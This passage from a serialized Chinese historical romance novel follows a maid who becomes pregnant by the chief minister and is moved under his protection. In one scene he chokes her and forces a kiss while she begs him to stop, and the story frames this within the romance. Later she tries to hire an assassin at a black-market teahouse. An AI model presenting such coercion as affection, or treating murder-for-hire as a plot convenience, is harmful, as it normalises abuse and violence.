那种恐惧,让她恨不得永远不再醒过来。 当然,现在看到相爷,她就知道安全了,可劫后余生,她还是怕的不行。 萧怀停欲责备,可还没开口,她人就一直抖,怕的好像又要晕了。 他皱了皱眉,到底没说什么,任凭她就这么抱着。 柔软的身体,没了平日的温度,有些冰凉,被吓出了一身冷汗,绝不是装的。 半响,她都缩在他怀里,不敢冒出头。 “爷,奴婢这是在哪儿?” 可好像理智回归了一些。 萧怀停鄙夷她,胆子可真小啊。 “我床上。” 欢娘听到相爷那冰冷的三个字时,人都傻了。 虽然身体还不受控的在颤抖,但脑子其实已经逐渐清醒。 她清楚记得昨晚被蛇咬,是在承德院,晕倒前她还看到那黑蛇被那个眼生的护卫拽了回去。 后来,迷迷糊糊的感觉到公子跑进来。 怎么醒来,就是相爷的床上?总不可能是自己跑来这里的吧? 难道是相爷?不,那她宁愿相信是自己中了蛇毒,神志不清,凭借着本能冲到这里。 “奴婢……怎么跑到这儿来的?” 欢娘有些忐忑,暗暗抓紧了他领口,又皱巴成一片,却不自知。 萧怀停嫌弃的眼神,更加明显了。 “怎么?怕被你伺候的主子知道?担心就此暴露,不能再回到他身边?” 他简直是看透了她。 “所以……是爷带奴婢来的?” 要是以前,欢娘还真怕。 可现在就不一样了。 她心底还盘算着怎么来相爷身边伺候呢? 顺理成章也挺好的。 “你觉得是这样?” 可相爷的反问极其冷淡。 果然不是。 欢娘面露失落,可她人都在相爷怀里,自然没人会看到。 “那就是奴婢情不自禁,非要来找您了。” 不过不是也没关系。 身中蛇毒还能跑到这儿来,那可不就能证明她对相爷的满心情意吗? 欢娘自己都没想到,她内心居然对相爷有这般执念。 想到这里,她努力的挤出了两滴眼泪,在眼眶中打转时,抬头,深情凝望。 然后眼泪恰在这时掉落。 顺着脸颊就滑落。 “昨晚,奴婢以为往后怕是都见不到相爷了。” 所以到快要死时,没了意识,爬也要爬到他身边。 萧怀停看着,上了手,贴在她脸颊,泪水就粘在了他指尖,有些凉。 “可你这代价,大了些。” 欢娘有些错愕,眼睛瞪的发酸,眼泪却憋不出来,只能尽量装的可怜。 “萧晋文知道了你背地里勾搭他的养父,这会儿应当是去找祖母,来要个说法。” 相爷的声音里不止是冷漠,还残忍。 “一会儿,此事只怕要闹的人尽皆知,你说我该怎么做?” 他目光清冷,不带一丝情感。 欢娘没来由的心慌。 那当然是把我交出去,说我是爬床的狐媚子了,总不能因为她一个卑贱丫鬟,牵连了相爷的名声。 从相爷眼里,欢娘看到的都是绝情。 她委屈了。 可先前分明就已经哄的他心软了,他都答应了。 难道就因为先前自己说要等等,就不算数了吗? “爷要如何?那便如何吧,左右奴婢贱命一条,怎么都行。” 她垂下头。 萧怀停冷眼看着她这一副任人发落的可怜样子,心底鄙夷,捏着她下巴,强迫人抬头。 “难道不是事实?不是你主动爬床,可以讨好勾引?不是你吃着碗里的看着锅里的?这副委屈样,又做给谁看?” 他声音冷的好似是淬了冰。 “怎么?没想过会是这样的下场?” 欢娘听着,只觉得眼泪发酸。 这会儿要想哭,简直就是轻而易举。 可她突然就不想哭了,此刻哭了反而还觉得屈辱。 她咬着牙,一言不发。 心底却恨恨的嘀咕着,谁说接下来就是她的下场了?爷未免也太小看她了些。 可萧怀停见她不反驳,心底就越发的窝火。 气恼之下,便咬了下去。 欢娘从不反抗,每次都顺从,刻意讨好。 可此刻,她觉得爷对她的心思,让她很不舒服。 她偏开头。 其实她也没料到头一偏,居然真的就躲开了。 等她抬眼看去时,相爷眼底的戾气闪过,她便被按在床上。 “怎么,知道要失败,都不装了?” 他纤长的手掐住她脖子,然后便是粗暴的碾压,让人窒息的吻,她头晕脑胀,几乎是要窒息。 欢娘想推开人,却很无力。 她就感觉此刻相爷像是要把她给碾碎,身体都快要碎了。 “不……不要……” 她虚弱的哀求。 最后,还是晕了过去。 第五十二章你现在是相爷的人 之后的几天,她都昏昏沉沉的,感觉自己在床上躺了很久。 天亮了,又黑了。 半梦半醒,活着都不真实。 等终于再次醒来时,是黑夜,她全身酸软,无力。 在一个很简陋狭小的房间,屋内烛光昏暗。 她强撑着身体起来,喝了杯水。 整个人都恹恹的,出了一身汗,十分难受。 这些天,她约莫就是病了。 而且就没离开过长风院,恍惚间总是看到采菊进进出出的给她送吃的,送药。 但她能确定,没见相爷来过。 似乎……相爷没有舍弃她,可也没给她好果子吃。 欢娘想了一会儿,依旧是昏昏沉沉的,便出门,去找采菊。 “你醒了?” 深夜,采菊开了门看到她,眼睛都一亮,有些欣喜。 “嗯,这些天,多谢采菊姐姐照顾。” 欢娘回了个浅笑。 “我……能回去吗?睡了这么些天,我想回去洗洗。” 她觉得自己现在都馊了,躺这么多天,实在难受。 “回哪儿呢?你现在只能住在这里。” “要洗澡是吗?回去等着,我让人备水去。” 采菊却披了件衣服,风风火火的走了出去。 欢娘睡久了,脑子都迟钝。 根本来不及问清楚。 只是扫了一眼相爷的卧房,黑的,但书房却亮着灯,她默默的就走了回去。 等洗了个澡,换了身衣服,欢娘才觉得自己清醒了,脑子也好使了。 “看你这脸色,想来是已经痊愈了。” 采菊还给她备了一碗阳春面,带着温柔的笑容,坐在她对面。 欢娘点了点头,一再的感谢她。 “我这几天,是怎么了?” 她有些茫然,吃着面,有些紧张。 “我……我记得我是被蛇咬……” 那日在相爷床上的事,她不大敢说。 所以说之后的事情,就都不记得了。 可采菊却带着看穿了一切的笑,那目光直白的让她不大自在,脸颊燥热。 甚至都不敢与她对视。 “你在爷的床上,发了高热,是爷吩咐我,给你准备一个房间,让你在这里养着。” “你说想回去,只怕是没可能了,就安心待在爷身边吧。” 她说的云淡风轻,欢娘却凌乱了。 “可……可公子那边,还有老夫人,我……我该怎么……” “公子出府历练,暂且不会回来的,至于老夫人……其实我也不大清楚爷的打算,但你放心,爷让你留在这儿,那便留,其他的事情,不用操心。” 提起这个,采菊也不知道。 因为爷就没跟她提起过。 但欢娘不过一个丫鬟而已,要了便是要了,或许在爷看来,用不着多费心思。 说的残忍一些,她若一直留在长风院不出去,根本没人会知道爷他要了养子的通房。 “那……我发热那日,老夫人和公子来过吗?” 欢娘真没想到,爷真的就让她留下了,可那日,他分明就是…… “为何要来?” 采菊被问的疑惑。 那不是…… 欢娘想了想,又问道。 “那我到底是怎么来这里的?明明是被蛇咬了,怎么醒过来就在这里?” 她突然发觉,那日,自己可能是被爷给耍了。 根本就不是她自己跑过来找他的。 “公子外出历练,当时你被蛇咬了昏迷不醒,他担心你再次被害,所以便请求爷将你带了回来。” 采菊解释道。 欢娘听了却更加的疑惑。 就算公子担心她,为她好,送去老夫人那边都比送到这里,合理吧? “那晚,知道你被蛇咬了,爷去了承德院。” 采菊见她还迷糊,便笑着解释。 欢娘错愕,那相爷似乎是比她看到的要关心她? 可那日她问,他为何还冷着脸嘲讽她,好像她就不配他费心思? 恍惚间,欢娘感觉手背上一热,竟是采菊伸手过来,抓住了她。 “安心待着就是,爷既让你留下,便不会轻易将你赶出去的,好好伺候爷,他不会亏待你。” 她看得出欢娘很紧张,茫然。 其实她也有些莫名,跟在爷身边十多年了,却从未见过爷对待自己的女人,那般粗暴的。 简直就是冷酷无情,甚至她都觉得爷是厌恶欢娘的。 可她却又觉得,爷似乎又很在乎欢娘。 欢娘点点头,却依旧茫然。 她当真就能安心呆在这里,当真是努力得到了回报,真的攀附上他了吗? 可为什么她会觉得,现在的处境,也没比之前好? 翌日,一早。 欢娘跟采菊说了一声自己要去收拾东西后,就回到了承德院。 公子不在,这里便很是冷清。 欢娘径直去耳房,收拾自己的东西。 下一刻便有人找了过来。 “欢娘?” 刘婆子人站在门口,还拿着扫帚,眼巴巴的往里边望。 欢娘便放下手里的东西,出去迎接。 耳房狭小,而且算是公子的房间,刘婆只是粗使婆子,一般是不准进来的。 “你现在还好吧?那晚你被蛇咬,可吓死个人。” 看刘婆的表情,是有些担心她,但应该不只是因为担心她才来的。 “现在没事了。” 她笑着回应。 刘婆点了点头,目光往里看看,又四周扫了一圈,突然凑近了些。 “公子这一走,就是月姨娘做主了,你留在这里也确实危险,去相爷身边好好做事,没准以后啊……还有别的出路。” 她苦口婆心,眼神还在暗示着欢娘,甚至带着一丝期待。 欢娘有些莫名。 “刘婆婆,你怎么知道我是在相爷身边做事?” 难道这事儿其实人尽皆知,也只有她在担心‘名声’? “公子亲自将你送过去的,就你中毒那晚,公子抱着你,跟在相爷身后,求着相爷庇护你,这事儿,院里人都知道。” “而且相爷也答应了,说就让你先留在长风院做丫鬟。” 刘婆又道。 中毒那晚? 所以那晚相爷就都安排好了,后面那些话,都是吓唬她的。 为什么呢? “欢娘,那晚的蛇,谁也不知道是怎么来的,你可要小心啊。” 就在欢娘百思不得其解时,刘婆又再次道。 说起这个,欢娘目光一沉。 “刘婆,那晚我中毒晕过去后,院子里都发生了什么?” 那么粗的蛇,是怎么跑到院子里来的?还偏偏就在她洗澡时,攻击她? 只怕是人为。 并非她敏感,此刻就连刘婆都是这意思。 第五十三章破天富贵,这就要来了吗? 刘婆很警惕的看了眼四周。 欢娘当即摸出一两银子塞到她手里。 “这里不是说话的地方,跟我来。” 刘婆银子一收,拉着她就去无人的角落。 便将那晚所发生的一切,原原本本,详细的说给欢娘听。 其实在那晚欢娘被咬以后,刘婆就知道时候欢娘一定会追究,所以她特别留意,就是为了此刻。 她这样的粗使婆子,要赚到额外的银子,是真的不容易。 讲了半刻钟,刘婆才把那晚的事情讲清楚。 “你也不用太担心,公子走之前,让管家去查了,而且……他还求过相爷,务必要好好护着你。” “虽说相爷他日理万机,怕是不会管这些小事,但你好歹在长风院待着,便没人能害你。” 说完刘婆安慰她,不要怕。 因为那蛇来的蹊跷,要查清楚怕是不容易,谁又会为了一个小丫鬟劳心劳力呢? 她眼中,那件事怕是就不了了之了,毕竟公子现在又不在府上。 “那晚抓蛇之人,可还在?我想谢谢他。” 欢娘记得,是那个经常拿着木棍的大个头。 “怕是不行,他跟着公子出去了。” 刘婆摇了摇头。 那真是可惜了。 随后欢娘又跟刘婆寒暄了几句,又说了几句好话,希望刘婆随时帮她留意这院子里的动向。 她收拾了东西,回到长风院。 原来对外,她就只是这院子里的粗使丫鬟啊。 欢娘长松了口气,还好,她和相爷的关系还没暴露。 只是算着日子,她的月事都过了七八日了。 她素来都很准时。 可中毒时,大夫给她诊过脉,那时候都没怀上,不可能这才过了七八日,就能有。 也许月事推迟只是因为中毒而已。 这般想着,她就更难过了。 没怀上,看来她这所谓的好孕体制和相爷的绝嗣相比,还是相爷更甚一筹。 她自己的行李,少的可怜。 也就几件衣物,还有那些调香用的材料而已。 搬到狭小的屋子里,好像没能给这屋子增添半点东西。 其实这里的条件,和她住在承德院时,差距也不大。 唯一好的应该算是这里通风,向阳,屋子除了干净整洁以外,还有一股阳光的味道。 她收拾完准备去找采菊时,却是守院的侍卫找了过来。 老夫人传唤她。 欢娘心头就是咯噔一声,没来由的紧张。 也不知老夫人会不会以为她是个麻烦。 可出了院子,奉命来带她的人居然是赵娣。 一见面,赵娣就狠狠的给了她一拳,打在她胳膊上。 “快些走吧,老夫人等着呢。” 她没说什么,却直接红了眼。 看的欢娘都有些愧疚了,别人她不知道,但赵娣得知消息以后肯定是担心她的。 “我被咬以后,就晕了……” 所以路上她解释起这些天自己的遭遇,每天都昏昏沉沉,醒不过来,她也没法子。 “其实知道你在相爷这里,我反而不担心,相爷他怎么可能会让你有事呢?” “只是……你进了这里,日后我要再想找你,可就难了。” 赵娣叹了口气。 整个相府,唯独相爷这里,就是无法侵入的铁桶,院子里所有人都是相爷他老人家的。 谁会作死,敢在长风院安插眼线啊? 听到这话,欢娘也叹了口气。 奈何,都是丫鬟,是奴才。 他日她若能有机会成为主子,定要想法子把赵娣要过来。 可很快,她就没心情想这些了。 到了主厅,欢娘看到了那位从宫里出来的嬷嬷,也就是当初指着她,说她好生养的那位。 和秦嬷嬷一样的年纪,可周身气度都不同,简直贵不可言。 欢娘心头就是一紧。 不等她反应,就成了任人摆弄的工具。 那位嬷嬷直接上手,给她做检查,看的欢娘心惊肉跳。 想开口求情,可一贯好说话的老夫人,此刻只是期待的望着那嬷嬷。 欢娘隐约懂了她在期待什么。 可根本就没怀孕,老夫人怕是要失望了。 这一失望,怕是还会迁怒于自己。 想到这些,她便越发的紧张。 也许前些日子挣来的好感,会因为没怀上,毁于一旦。 这般想着,她就觉得检查的这阵子,更煎熬了,甚至都要昏过去。 便没注意到,嬷嬷在背对她时,朝着老夫人给了一个安心的眼神。 她更不知道,就那一刻,老夫人手中的佛珠,险些因为激动,被她捏的粉碎。 欢娘战战兢兢了许久。 检查完以后的气氛紧张到凝固。 哪怕老夫人赏了她一桌子好菜,让她坐在那里吃,她都没敢动筷。 “老夫人,奴婢……奴婢让您失望了。” “从今日起,你回来,住在我这院子里。” 可却听老夫人突然道。 欢娘惊愕的抬头,只见老夫人一贯和蔼的笑容都消失了,冷了一张脸。 她心里一沉。 抬头正要说话,却看到远处,相爷快步走来,微风吹动着他玄色衣袍,带着莫名的寒气。 “老夫人,相爷来了。” 秦嬷嬷是小跑着来禀报的。 话音刚落,萧怀停就已经到了饭厅里。 “来的这般快?怀停,有件事我要告诉你,这丫鬟我打算养在我这院里。” 萧苏氏起身,眼波流转,说着话,一抹笑意浮现。 萧怀停的注意力,却在那被吓得脸色惨白的欢娘身上。 “为何?” 可他还是忍住了。 眼神一转,便冷酷的好似和她无关。 “她有孕了。” 可接下来简单的四个字,从萧苏氏口中说出时,就如惊雷。 砰…… 欢娘蹭的一下蹿起身,不可置信的看着老夫人。 她只觉得一下子,她的世界都要毁灭了。 萧怀停冰冷的脸似乎还是没什么反应,可仔细看,却已经呆滞,僵硬。 “月份太小,但我已让宫中的嬷嬷来查验过,确实是怀上了。” “张嬷嬷的眼光果然没问题,说她是易孕体制,便真的是,真是祖宗保佑……” 这下,萧苏氏激动的说个不停。 抓着他的儿子,老泪纵横。 说她不会笑,那是因为到此刻,终于有了孩子以后,她是想哭的。 “不……不可能啊。” 欢娘下意识看向相爷。 第五十四章有孕?那名分呢? 她极度震惊,都咬定月事没来是因为中毒了,可现在…… 真的怀上了,有了孩子,那是不是意味着,她要的富贵,终于要来了? “你一个小丫鬟,懂什么?” 萧苏氏听到她否认,还有些不高兴。 而萧怀停的目光,也在逐渐转向她。 欢娘看着他,震惊又紧张,张了张嘴,好像要解释什么,却又说不出口。 “可会诊断错误?” 半响,萧怀停说话时,嗓子都硬了。 “这么大的事,我能弄错?就是怕出错,才请了宫里人,一定是真的,我肯定,她有孕了。” “欢娘,你月事推迟了几天?” 被质疑,萧苏氏十分激动,拼命的要证明是真的。 就是想告诉所有人,萧家,有后了。 欢娘看着相爷,脸爆红。 “应该……应该是过了七八日,奴婢这几天病了,奴婢……奴婢不知道。” 说着,她眼眶瞬间通红。 “是真的,她肚子里真的有了孩子,你且等着,再过七八日让大夫来诊脉,一看便知。” 萧苏氏眼睛骤亮,根本就是笃定。 此刻她满脑子都是欢娘怀孕的好消息,根本没注意到欢娘和她儿子对望那眼神,有多奇怪。 乱了。 萧怀停怎么都没想到,匆匆赶来,听到的竟是这消息。 “她既怀孕,那便留在我院里。” 半响,在萧苏氏再次提出要将欢娘留在院里时,他才哑着声音,道。 若细看,他的手,抖的不成样子。 “怀停……” “母亲,我那里是最安全的,我会护着她,直到她生子。” 萧怀停急切的打断。 语速快的有些失控。 那眼里涌动着看不懂的疯狂。 萧苏氏的原意,就是要看牢了欢娘,务必要让她顺利生下孩子。 可仔细一想,这整个相府,没有哪里比儿子的院子更安全的。 只是她以为儿子一贯冷淡,对养子都亲近不起来,怎会那么在乎养子的孩子呢? “那……那也行,怀停,你可要好好护着她,绝不能让她有任何闪失,否则……我实在无颜去见萧家的列祖列宗了……” 萧苏氏说着,落下伤心泪。 “秦嬷嬷,将欢娘先待下去,歇着。” 萧怀停眸色一沉。 突然的变故,让他险些失控。 实际上到现在他都没能回过神来。 可有些事,必须要尽快说清楚,被欢娘扰乱的关系,绝不能一错再错。 当他决定将人留在长风院时,便已有了打算。 可这个‘奇怪’到底是打断了他的计划。 “母亲,我有话跟你说。” 所以不管真相如何匪夷所思,他还是要亲口说明。 但对萧苏氏来说,欢娘不过一丫鬟而已。 爬了谁的床,根本不重要。 只要她没闹的难堪,没让相府颜面尽失。 “你……你……你的?” 此刻,萧苏氏的脑子是乱的。 听着儿子亲口承认,她脑子里只有‘胡说八道’,可因为是她儿子,她了解儿子。 所以她根本不敢相信。 但震惊过后,却是加倍的开心和激动,甚至此刻她恨不得将那死去的夫君刨出来,告诉他这个好消息。 萧苏氏热泪盈眶,望着天。 “老天有眼,老天有眼啊,怀停,我的儿,你终于……有自己的孩子了……” 只有天知道,一个已经被确诊了绝嗣的人还能再有孩子,那是多大的奇迹。 萧怀停看着激动的母亲,冰冷的眸里,到底是因为这件事多了些莫名的情绪。 欢娘没料到是这样的。 早知道她应该先去找大夫看看,谁能想到老夫人竟是这般着急?好似那准了她一定会怀上似的。 不过她病了这么久,也才清醒,根本就没来得及自己去找大夫。 总之现在这种情形,她是被动的。 不久后,她被秦嬷嬷亲自送到了门外。 只见相爷站在那儿,等着她。 沉静冰冷的目光里仿佛映着她的样子,可走近了,却又什么都没有。 所以,怕是她的错觉。 “走吧。” 相爷平静的说了一句,便先迈开步子。 欢娘跟在他身后,一路无话,忐忑。 就一直跟到了主卧。 “爷,奴婢发誓,这孩子一定是您的。” 原本站在萧怀停身后的欢娘,直接冲到了她面前。 他这一路沉默,到底何意? 欢娘心想着,他知道自己绝嗣,总不能怀疑她肚子的不是他的孩子吧? 说完,只见相爷的目光更深沉了些。 “奴婢从来就只有过您,奴婢和大公子是清白的,院子传的暖床都是谣言,奴婢发誓,怀的就是您的孩子。” “而且当初大夫的诊断说的是您难以有孩子,又非绝对,爷您又是个正常的男人,怎么会没孩子呢?” 欢娘慌的再次想去抓他的手,可又怕被甩开,所以就抓住了衣袖。 “这孩子……你知道会来吗?” 看着她紧张,萧怀停心情复杂。 她是不是清白的,他很清楚,自然知道,她腹中若是有孩子,那必定就是他的。 可她当真从未想过会有孩子吗?为什么一开始她要选择爬他的床? 萧怀停只是简单的想想,便知她的意图。 “奴婢又不是送子的菩萨,怎会知道?” 欢娘摇头否认。 就算是,那也不能说,说了爷必定十分生气。 管他信不信的,也不管他是不是识破了她的谎言,反正在对他‘深情’这一点上,必须一直装下去。 “爷,是不喜欢这孩子?” 不等他再质问,欢娘反问。 萧怀停眸色暗沉,看着她那依旧平坦的小腹,实在是难以想象。 “你想要什么?可以提。” 所以母凭子贵,在相爷这里,根本不需要赌。 欢娘就知道,自己选择相爷,是正确的。 “奴婢就想留在您身边,等孩子出生以后,奴婢希望,能自己带孩子。” 若换做其他大户人家,这简直就是痴人说梦,可相爷的内宅,没有主母。 虽说有两个姨娘,但欢娘认为自己若能生孩子,地位也不比她们低。 “可以。” 果然,相爷他想都没想就应了。 欢娘面色一喜,立刻放松下来。 “那奴婢,还有一个小小的请求。” 第五十五章最笨的办法 才刚怀上,她原本没打算提要求的,得让相爷一直记挂着,她可以为他生孩子,有价值。 可现在,确实有件事,需要处理。 而且对相爷来说,不算大事。 “奴婢被蛇咬,总担心是有人故意为之,想请爷帮帮奴婢,查清楚。” “此事我已经派人去查,有了线索,便会给你一个交代。” 萧怀停神情淡然。 比起她肚子里的孩子,这些都算不得什么。 “还有吗?” 看她眼巴巴的望着他,眼里还含着泪光和茫然。 只怕今日,是吓着她了。 他的声音变得温柔,却不自知。 欢娘也没察觉,摇了摇头。 她要的很多,但也得慢慢来。 晚上,她住的地方就变了个样儿。 采菊亲自给她铺床铺。 墨绿色的绸缎夹棉褥,棉缎包裹的软枕,细看下那和爷屋子里用的都一样。 还有一套崭新的白瓷茶具,新增了红木桌椅,衣柜。 就一晃眼,屋内亮堂了不少。 欢娘看着采菊在忙,就有些无措,想帮忙,却被采菊推到一边。 “站着就是,爷说了,这些东西都得我亲自布置,不可怠慢。” “你可知,爷的那两位姨娘,都没这般待遇,听我的没错吧?爷是在意你的。” 采菊笑着调侃她。 “采菊姐姐,爷跟你说什么了吗?” 这弄的欢娘有些忐忑。 让爷的贴身大丫鬟来照顾她?欢娘惶恐的同时,还有愧疚。 采菊收拾好,带着浅笑,摇了摇头。 “欢娘,跟在爷身边,不该问的,不能问,不该说的,我爷不能说。” 可采菊却没跟她说什么。 “这府上可有你信任的丫鬟?爷说了,长风院侍女少,让你选一个,留在你身边。” 那不就是给她找个丫鬟的意思吗? 虽然没有身份,但这待遇…… 欢娘心头苦涩,自己费心费力的讨好他,看来都没一个孩子给力啊。 可同时又欣慰的很,得亏自己的肚子争气。 “我在府中,认识的人不多,就和老夫人院里的厨娘,赵姐姐关系好,可那是老夫人身边的人。” 欢娘一脸期盼的看着采菊。 “除了她,我也想不到合适的人选,不如采菊姐姐您安排?” 如果赵娣来不了,也就不勉强。 陪在她身边的,必须是信得过的,宁缺毋滥。 “那我想想。” 采菊点点头,没立刻给她答复。 翌日。 柳大夫又来了。 这次特地进了长风院,给她看诊。 相爷就坐在一边,等着。 气氛莫名的紧张。 欢娘知道相爷的意思,心也跟着提起,就怕有个万一。 “别紧张。” 她没敢动,柳大夫在诊脉时,突然摸着胡子笑了。 欢娘咬着唇,点了点头。 可却仍旧能感觉自己心脏狂跳,她捂着心口,想控制,却越克制就越乱。 看到柳大夫哭笑不得的样子,欢娘恨不得找个地洞钻下去。 可下一刻就见相爷突然站起身,走了过来。 仿佛一股冷气,瞬间将她笼罩。 “只是给你请平安脉,不做什么,别怕。” 那话,好听的让欢娘觉得是自己产生了幻觉。 依旧是那张冷肃的脸,可那说话的语气,仿佛变了一个人。 欢娘按住心口的手,微微一紧。 然后,就被爷拉了过去。 众目睽睽之下…… 欢娘瞬间脸热,不可置信的看着他。 可说的众目睽睽,其实屋子里也就柳大夫而已,外头就是护卫。 “她身子强健,好的很。” 可这样似乎很有用。 柳大夫终于诊明白了,展开笑颜,冲着相爷点头。 瞬间她感觉拉着自己的那只大手,就更用力了些。 “日后,要劳烦柳大夫每个月过来一次,对外就声称给本相看诊。” 萧怀停冷声吩咐着。 声音却不自觉的收紧了些。 欢娘心都跳到了嗓子眼,然后又突然掉进肚子里。 这下,爷定不会再有疑虑。 柳大夫离开后,欢娘还拉着他的手,没舍得放开。 其实两人已经亲密过很多次了,但像现在这样的拉扯,似乎没有。 她知道爷的手宽大,手指纤长,此刻才有深切的体会,她整个手被他包在手心,能感受到他的体温和他的情绪。 萧怀停欲放开时,却觉得手被拉了一下。 回头便看到坐着的欢娘,正昂着头,盯着他看。 若是平日,他定不耐烦的甩开。 “我还有事,松开。” 可现在,却透着一丝僵硬的命令。 果然,他怎么可能时时刻刻牵着她的手呢? 在爷眼中,她不过就是个生孩子的工具而已?方才的温柔,都是因为孩子。 但这不要紧,有了孩子,日后他会越来越温柔,欢娘带着讨好的笑,松开了他。 目送他去了书房。 欢娘便去了院子里,将那些梅花都捡起来。 说是有孕,可她没什么反应,柳大夫说她身子强健的很,所以照样可以干活。 只是她屋子狭小,调香不方便,她特地找采菊要了一间空屋子,专门捣腾这些东西。 一眨眼,便过了七八日。 欢娘准备送第三批香膏给丽姑姑。 但她也出门。 便将自己的想法告诉了采菊。 “出去做什么?” 采菊有些疑惑。 “我想跟着丽姑姑去外面买些香料,跟着她做点小生意,能赚些钱。” 欢娘如实交代。 因为待的时间久了,她就发现采菊是个很有想法,也有主见,考虑非常全面的丫鬟。 她甚至还看到过采菊查阅账本,似乎相爷手下那些营生,都是她在负责。 这样能干的采菊,欢娘下意识就觉得她会支持自己赚钱。 “也好,能透透气,我派两个护卫跟着你。” 果然,她答应了。 说好的护卫,也不是紧跟在身后,而是远远的。 就连丽姑姑都没发现,她们身后一直有人跟着。 欢娘忍不住弯起了嘴角。 她从来没体验过,出门都会有人护着的感觉。 “丽姑姑,一会儿谈好了生意,你陪我去个地方可好?” 丽姑姑爽快答应了。 她们先进了名为‘芙容斋’的胭脂铺子,交货,拿银子。 然后又买了些香料。 再直奔黑市。 丽姑姑是跟着欢娘的步伐来的,有些惊讶。 在茶馆里坐着以后,她还担心的扯了扯欢娘的衣裳。 “你来这里,要干什么?” 第五十六章小小通房起了杀心,以身入局 黑市这地方乱的很,丽姑姑平日里没事绝对不会来这里,鱼龙混杂的地方,被偷被抢的,太常见了。 所以哪怕是坐在茶馆里,她都紧张。 “找个朋友,姑姑,您在这儿坐会儿,我去楼上找个人。” 其实欢娘心里也很慌。 以前她是听说过这家‘送茶记’,背地里是接杀人的活儿。 可她也没来过。 这是第一次,她不知道能不能顺利的雇佣到杀手。 “那你快些,时候不早了,咱们要早些回去。” 丽姑姑环顾四周,就总觉得无数双眼睛看着她,很不自在。 欢娘点点头,便上了楼。 楼上是一个个包间,每个包间都有名字,好像是以天干地支来命名的。 而且包间分为三个等级,豪华的,中等的,还有一般的。 每个包间都对应一个名字。 欢娘深吸口气,就在要推门探究时,突然就走来了一人。 “带钱了吗?” 一身黑衣的男人,带着面具,周身肃杀气息让欢娘胆寒。 她原本就只是个小丫鬟,面对这场景,难免紧张。 “带了,我想请你们帮我杀个人……” 欢娘艰难的咬字,开口。 约莫一盏茶的功夫。 丽姑姑光是坐在这里,都觉得后背湿透。 所以当欢娘从楼上下来以后,拉着她就急急忙忙的离开。 “你居然还有朋友在这里?” 直到走出黑市,丽姑姑紧绷的神经才稍稍的松懈。 欢娘只是笑了笑,并未多言。 此刻的她,份外愁苦。 到底是买命钱啊,价格高的离谱。 欢娘突然觉得,自己把买凶杀人想的太简单了些,那不是她这个阶层的丫鬟能做到的事。 回到相府后,她关上了门,有些懊恼。 早知道先前就不要将人逼上绝路了,就不该绝了她回相府的路。 虽然断了她的富贵路,可那远远还不够。 如今,要抓她,还得先拼命赚钱。 那地方的杀手分为一流,二流,和三流。 三流杀手五百两买命,二流三千两,一流一万两。 就她手里的,连雇佣三流杀手的银子都不够。 欢娘想要万无一失,只能找一流的杀手。 所以她必须赚钱,疯狂的赚钱。 正思索着,到底要怎样才能赚更多的银子,采菊便进来了。 “你和丽姑姑今日去了黑市?” 进屋她便问,表情还很严肃。 欢娘点点头。 有护卫跟着,她也瞒不过去。 而且只是去黑市逛逛而已,护卫没跟进那家茶馆,也不知道她去那里做什么。 “那地方可不大安全。” 采菊撇撇嘴,倒是没多说什么,只是嘀咕了一句。 “光天化日之下,也不能胡乱犯罪不是?我在那里被卖了三次,还算熟悉,不会有危险的。” 她笑着安慰。 甚至此刻在脑子里都已经想好了如果采菊要问,她该怎么蒙混过关。 但采菊却是点到为止。 可欢娘却看着她,两眼发亮。 “采菊姐姐,你能不能教教我,怎么赚钱?” 她想采菊那么能干,赚钱这种事,定是手到擒来的。 否则怎会帮相爷管着那么多铺子呢? “赚钱?” 采菊还没大反应过来。 可欢娘却极其认真的点了点头。 “吃穿用度,有不满意的吗?你跟我提,跟着爷,不必担心钱财……” “可我想有自己的银子,属于我自己,能支配的。” 欢娘却连忙打断了她。 然后红着脸,有些不自在的道。 “我也总不能找爷要银子花,就连他名正言顺的姨娘都不会,更别说我了。” “采菊姐姐,我是真的想自己赚钱,你教教我,可好?” 欢娘一脸认真,甚至眼底还带着几分急迫。 这一刻,采菊看她的目光都不一样了。 除了献媚讨好爷,欢娘似乎……还有别的想法。 和府上的那些女人,有些差别。 “好,我帮你。” 她要为自己赚钱,凭着这点,采菊便会帮她。 欢娘一喜,拉着她,当即就发誓。 “我会报答你的。” 采菊只是笑了笑,虽然她看上去很真诚,但她从不将别人的承诺当真。 这一夜,欢娘就和采菊聊,聊了许久,当真是想出了一条赚钱的路子。 她会调香,能拿出手的也只有调香。 可采菊说贵人用的香料和普通人用的,是有些差别的。 比如给爷用的,那是欢娘绞尽脑汁调配出来的,那样的香料特别,会受贵人喜欢。 采菊想的法子简单来说,便是调好的香卖给贵人。 但想要顶级的价格,便要顶级的售卖场。 谁能帮她提供这样的场地呢? 采菊最后看欢娘的目光,带着几分不怀好意,似乎是想看她的好戏。 欢娘脸微微发热。 “采菊姐姐,你是爷最信任的丫鬟……” “一码归一码,我是爷的人,你要自己赚钱,那便要靠你自己的本事,如今……爷是你最大的靠山。” 采菊笑着摇摇头。 欢娘想着,确实是这么个道理。 可她先前只想着靠着爷能有荣华富贵,能有地位,不被人欺负。 但靠着他赚钱这事儿,还真没想过。 采菊一下就点醒了她。 趁着现在她在爷心目中有位置,得尽快。 所以之后一连几日,她都躲在调香室里,继续干活。 不知不觉间,院里的梅花凋落,只剩下光秃秃的梅花树。 萧怀停忙完公务,反应过来时,才发现这些日子,都没见到欢娘了。 他冷眸一凝,一丝怨气滋生,然后要被气笑了。 以前不让她来,她变着法的凑到他跟前。 现在人就住在院子里,却跟死了一样。 萧怀停突然就觉得,这院子死寂一般,安静的让人烦躁。 就在这时,微风将一抹淡淡的野蔷薇香味送了进来。 只见一抹桃粉色的身影,就这样出现在他面前。 “爷,奴婢给您泡了大叶绿茶。” 欢娘带着讨好的笑意,走进屋。 萧怀停余光扫过,没什么表情。 欢娘也不管他是否冷漠,殷勤的给他奉茶。 然后拿出自己专门做好的香包。 “爷,梅花要败了,奴婢拿了一些晒干封存,又加了一些材料做成香包,携带在身上能持久一些。” “爷能时刻闻到新鲜梅花的香味,就好像梅花不曾凋谢一般。” 萧怀停看着她手中白色的香囊,只绣了一朵很一般的红梅,样式简单。 一看就是没花多少心思。 第五十七章悄寡妇野心勃勃?权臣纵容 可若欢娘听到这样的评价,定会十分冤枉。 只是样式简单而已,怎能说不用心呢?明明就是爷他本就不喜繁琐的样式。 “嗯。” 他冷淡点头。 欢娘压根不知爷的心思,便绕到他面前,在他面前半跪着,手指轻轻勾过他腰带,将香包系在他腰间。 动作很轻,生怕是惹得他不满。 可那明媚的眸,却一眨不眨的盯着他看,弯弯的眉头下眼波流转。 